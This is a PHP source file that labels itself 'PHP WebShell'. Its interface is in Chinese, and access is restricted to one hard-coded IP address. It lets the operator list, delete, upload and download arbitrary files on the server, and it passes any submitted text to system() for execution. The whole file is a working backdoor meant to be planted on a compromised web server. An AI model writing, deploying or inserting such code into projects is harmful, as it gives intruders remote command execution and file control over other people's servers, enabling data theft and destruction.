<?php
#error_reporting(E_ALL^E_NOTICE^E_WARNING);
echo $_SERVER['REMOTE_ADDR'];
if (!isset($_SERVER['REMOTE_ADDR']) || $_SERVER['REMOTE_ADDR'] !== '58.55.185.136') {
    die('Access Denied');
}

// 显示服务器信息
function show_server_info() {
    echo "<h2>服务器信息</h2>";
    echo "<pre>";
    phpinfo();
    echo "</pre>";
}

// 文件管理功能
function file_manager() {
    echo "<h2>文件管理</h2>";
    if (isset($_GET['action'])) {
        $action = $_GET['action'];
        switch ($action) {
            case 'list':
                list_files();
                break;
            case 'delete':
                delete_file();
                break;
            case 'upload':
                upload_file();
                break;
            case 'download':
                download_file();
                break;
            default:
                echo "无效的操作";
        }
    } else {
        echo "<a href='?action=list'>列出文件</a><br>";
        echo "<a href='?action=upload'>上传文件</a><br>";
    }
}

function list_files() {
    $files = scandir('.');
    echo "<ul>";
    foreach ($files as $file) {
        if ($file != '.' && $file != '..') {
            echo "<li>$file <a href='?action=delete&file=$file'>删除</a> <a href='?action=download&file=$file'>下载</a></li>";
        }
    }
    echo "</ul>";
}

function delete_file() {
    if (isset($_GET['file'])) {
        $file = $_GET['file'];
        if (unlink($file)) {
            echo "文件 $file 已删除";
        } else {
            echo "删除文件 $file 失败";
        }
    }
}

function upload_file() {
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        if (move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
            echo "文件上传成功";
        } else {
            echo "文件上传失败";
        }
    }
    echo "<form method='post' enctype='multipart/form-data'>
            <input type='file' name='file'>
            <input type='submit' value='上传'>
          </form>";
}

function download_file() {
    if (isset($_GET['file'])) {
        $file = $_GET['file'];
        if (file_exists($file)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            exit;
        } else {
            echo "文件不存在";
        }
    }
}

// 命令执行功能
function execute_command() {
    echo "<h2>命令执行</h2>";
    if (isset($_POST['cmd'])) {
        $cmd = $_POST['cmd'];
        echo "<pre>";
        system($cmd);
        echo "</pre>";
    }
    echo "<form method='post'>
            <input type='text' name='cmd' placeholder='输入命令'>
            <input type='submit' value='执行'>
          </form>";
}

// 主页面
echo "<h1>PHP WebShell</h1>";
#show_server_info();
file_manager();
execute_command();
?>
